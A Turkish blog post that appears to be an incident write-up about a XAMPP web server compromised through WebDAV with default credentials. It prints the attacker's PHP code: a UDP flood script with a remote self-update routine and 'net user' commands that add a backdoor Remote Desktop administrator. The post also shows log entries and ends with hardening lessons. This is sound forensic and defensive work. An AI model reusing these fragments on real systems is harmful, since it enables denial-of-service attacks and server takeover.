Web sunucularımız üzerinde muhtelif betik dilleriyle yazılmış olan web uygulamaları çalıştırıyoruz. Genellikle çalışan web uygulamalarının iyi niyetli olmasından dolayı web sunucularımız genellikle standar kurulduğu halde kalıyor. Özel bir yapılandırma veya güçlendirme yapmaksızın kullanıcıların sunucularımza dosya yüklemesine ve çalıştırmasına izin veriyoruz. Buradaki önemli soru web sunucularımızda çalışacak olan PHP, ASP, Python gibi betiklerin neler yapabileceği...Bir süre önce yüksek bantgenişliğine sahip bir web sunucunda tuhaf şeyler olduğu, sunucudan ne olduğu belli olmayan çok sayıda paketin çıktığı ve çok yüksek bangenişliği tüketildiğine dair bir şikayet aldım.
Olayı yerinde incelemek için bir otobüse atlayıp 6 saatlik bir yolculuk yaptıktan sonra nihayet sistem odasına ulaşabildim. Soruna neden olan web sunucusu Windows Server 2008 RC2 işletim sistemine sahip bir Windows sunucuydu. Üzende Xammp web sunucu paketi kurulmuştu ve PHP ile yazılmış özel bir web uygulaması bu sistemde çalışmaktaydı.
İlk olarak XAMMP paketiyle gelen Apache web sunucunun loglarını incelemek için log dosyasına baktığımda log dosyasının hiç arşivlenmediğini ve bu yüzden devasa boyutları ulaştığını gördüm. İyi yanı uğraşmam gerekcek tek bir log dosyası vardı kötü yanı ise bu dosya neredeyse 2 GB civarındaydı. Windows ortamında bu dosyayı açarak içerisindeki kayıtları incelememi sağlayacak bir teknoloji bulunmadığından dosyanın bir kopyasını emektar Ubuntu makineme aktardık.
Aktarım işlemi bittiğinde sunucu odasından daha sessiz ve rahat bir yerde oturup ~2G boyutundaki bir text dosyasını şüpheli durumlar için incelemeye başladık. Tabii ki bu aşamada cat, grep, cut, awk, less gibi muhteşem araçları kullandığımız için çok fazla sıkıntı yaşamadık...
Bir yandan devasa boyuttaki logları incelemeye devam ederken, bir yandan da sistemi olası bir sıradışı durum için göz altında tutmaya devam ettik. Ancak akşama kadar beklememize rağmen sistemde her hangi bir sıradışı durum gözlenmedi...
Bu süreçte sunucuya gelen tüm trafiğin kayıt edilidği pcap dosyalarını incelemeye başladım. Pcap dosyalarından tek görebildiğim bozuk UDP paketlerinin belirli IP adreslerine doğru yol aldığıydı. Kayıt edilen pcap dosyalarını incelerken nihayet UDP paketlerinin uçuşmaya başladığı anı keşfettim...
Web sunucuna aşağıdaki gibi bir GET istediği geldiğinde bozuk UDP paketlerinin uçuşmaya başlıyordu.
GET /webdav/sh.php?host=kurban.com&port=8021&protocol=udp&time=36060 HTTP/1.1
Host: 123.123.123.123
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip , deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Bu neler olup bittiğine dair en önemli ip ucuydu. Bir saldırgan sisteme yüklenmiş olan bir dosyaya host, port, protocol ve time parametreleri göndererek bir DoS saldırısı başlatıyordu. Bu saldırı ise çok büyük bant genişliği tüketilmesine neden oluyordu...
Yine cat, grep gibi şahane Unix araçları kullanılarak Apache web sunucuna ait loglar incelendiğinde aşağıdaki gibi bir kayıt tespit edildi.
111.111.111.111 - wampp [25/Feb/2011:07:39:46 +0200] "PUT /webdav/sh.php HTTP/1.1" 201 361 "-" "WEBDAV Client"
Yani bir saldırgan yazmaya açık olan webdav dizinine sh.php dosyasını yüklemeyi başarmıştı. Kayıtları incelenmeye devam ettiğimde sisteme üç dosya daha eklendiğini fark etmem uzun sürmedi. Ancak zop.php isimli dosya çalıştırıldıktan sonra silindiği için kod analizi yapma şansım olmadı. Silinen dosya kurtarılarak incelenebilirdi ancak Sunucu sistemi aktif olarak çalışmaya devam ettiği için dosya kurtarma çalışması yapmama izin verilmedi.
111.111.111.111 - wampp [25/Feb/2011:07:39:51 +0200] "PUT /webdav/au.php HTTP/1.1" 201 361 "-" "WEBDAV Client"
111.111.111.111 - wampp [25/Feb/2011:07:39:46 +0200] "PUT /webdav/help.php HTTP/1.1" 201 363 "-" "WEBDAV Client"
111.111.111.111 - wampp [25/Feb/2011:07:39:51 +0200] "PUT /webdav/zop.php HTTP/1.1" 201 362 "-" "WEBDAV Client"
111.111.111.111 - - [25/Feb/2011:07:39:55 +0200] "GET /webdav/zop.php HTTP/1.1" 200 57 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
111.111.111.111 - wampp [25/Feb/2011:07:39:55 +0200] "DELETE /webdav/zop.php HTTP/1.1" 204 - "-" "WEBDAV Client"
Saldırgan tarafından sisteme yüklenen bu dosyaları bulduktan sonra ilk iş dosyaların kaynak kodlarını incelemek oldu.
İlk olarak sh.php dosyasına bir göz atalım.
if(isset($_GET['update'])){ //Update the shell
$currentFile = $_SERVER["SCRIPT_NAME"];
$parts = Explode('/', $currentFile);
$currentFile = $parts[count($parts) - 1];
$newshell = $_GET['update'];
copy($newshell, $currentFile);
}Bu satırlar web uygulamasının kendisini update etmesini sağlıyor. Böylece saldırgan dilediği zaman sh.php dosyasını update parametresi ile çağırarak güncelleyebiliyor.
ignore_user_abort(TRUE);
set_time_limit(0);
Eğer saldırgan sh.php dosyasına bir hedef göstermişse, sh.php betiği ignore_user_abort değerini True yaparak kendisinin dışarıdan gelecek bir kesmeyle durdurulmasını engelliyor.
set_time_limit değeri sıfır yapılarak sh.php betiğinin zaman aşımına uğraması ve durdurulması engelleniyor. Bu sayede sh.php betiği sonsuza kadar çalışabilir hale geliyor.
for($i=0;$i<8192;$i++){
$out .= 'X';
}Bu kod hedef sisteme gönderilecek olan paketin data kısmını oluşturuyor. Yaptığı tek şey $out değişkeninde, 8192 karakter uzunluğunda X harflerinden oluşan bir metin yaratmak.
$fp[4096];
for ($i = 0; $i<4096; $i++) {
if($fp[$i]){
fwrite($fp[$i], $out);
}else{
$fp[$i] = fsockopen($protocol.'://'.$host, $port, $errno, $errstr, 1);
fwrite($fp[$i], $out);
}
}
Ve yukarıdaki kod parçacığı while(1) kısır döngüsü içerisinde, 4096 adet soket açarak, hedef sistme bağlantı kuruyor. Açılan her bir sokete 8192 byte uzunluğundaki $out değişkenini yazıyor. Sonuç olarak hedef sisteme çok yüksek sayıda ve büyüklükte paket gönderilmesine neden oluyor...
if(time() > $max_time){
for ($i = 0; $i<4096; $i++) //Close all sockets
fclose($fp[$i]);
exit;
}Bu döngü saldırganın belirttiği süre dolduğunda otomatik olarak son buluyor ve açılan soketler kapatılarak sh.php betiğinden çıkılıyor...
Şimdi saldırgan tarafından sisteme yüklenen diğer betiklerin ne olduğuna bir bakalım.
au.php dosyası içeriği;
exec('net user helpuser Password!23 /ADD', $results2);
exec('net localgroup "Remote Desktop Users" helpuser /add', $results4);
exec('net localgroup administrators helpuser /add', $results3);
Yukarıdaki kodlar Windows'un net komutunu çalıştırarak sisteme bir kullanıcı ekliyor, ardından eklediği kullanıcıyı "Remote Desktop Users" grubuna ekliyor. Son olarak çalıştırılan net localgroup komutu ise saldırgan tarafından eklenen kullanıcıyı administrators grubuna ekleyerek yönetici yetkilerini veriyor.
Bu kodlar başarıyla çalıştığında saldırgan, sisteme Uzak Masaüstü bağlantısı yapabilen ve Admin yetkilerine sahip bir kullanıcıya sahip oluyor. Yani tam anlamıyla sunucuyu ele geçirmiş durumda...
Saldırgan Dosyaları Nasıl Yüklemiş?
Sunucu kurulumunu yapan firma "kolay" olması açısından XAMMP paketini kurmayı tercih etmiş. Ellerindeki kurulum dosyasının üzerine çift tıklayıp next next next diyerek web sunucusu kurulumu yapmışar ve müşterilerine teslim etmişler. Gözden kaçırdıkları nokta aslında gerekli olmayan webdav servisinin açık olmasıymış.
İşin daha da vahim tarafı sisteme kurdukları XAMMP paketinde, ön tanımlı webdav kullanıcı adı ve parolasının wampp / xampp olarak geldiğini gözden kaçırmışlar. Saldırgan ip adreslerini dolaşıp webdav açığı ararken bu sununyucu fark ettiğinde bir webdav istemcisiyle dosyaları sisteme yüklemiş ve akabinde php betiklerini çalıştırarak sistemi ele geçirmiş...
Ölümcül hatalardan bir diğeri ise XAMMP paketi kurulurken hiç bir özel yapılandırma olmaksızın kurulması. Apache web sunucusu Windows 2008 RC2 işletim sistemi üzerinde System yetkileri ile çalışıyor. Sonuç olarak çalışıtırılan php betikleri de System yetkileri ile çalışıyor. Bu nedenle saldırgan çok kolay bir şekilde sisteme kullanıcı ekleyip, bu kullanıcıyı administrator grubuna dahil edebiliyor...
Oysa web sunucusu için kısıtlı yetkilere sahip bir kullanıcı hesabı açılsa ve web sunucu servisi bu kullanıcı yetkileriyle çalışacak şekilde yapılandırılmış olsa saldırının sonuçları bu kadar vahim olmayacaktı...
Diğer yandan kullanılan XAMMP paketinin güncel bir sürümü yüklenmiş olsa, güncellemeleri takip edilmiş olsa veya kullanılmadığı halde çalışan webdav kapatılmış olsa böyle bir sıkıntı yaşanmayacaktı.
Bu olaydan çıkması gereken derslere gelirsek;
0- Ezbere sunucu kurmayın.
1- Gereksiz servis çalıştırmayın.
2- Servisleri System yetkileriyle çalıştırmayın.
3- Ön tanımlı parolalar varsa mutlaka değiştirin.
Yorum Gönder